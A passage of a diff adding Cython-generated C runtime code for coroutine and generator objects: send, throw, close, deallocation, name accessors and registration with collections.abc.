CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 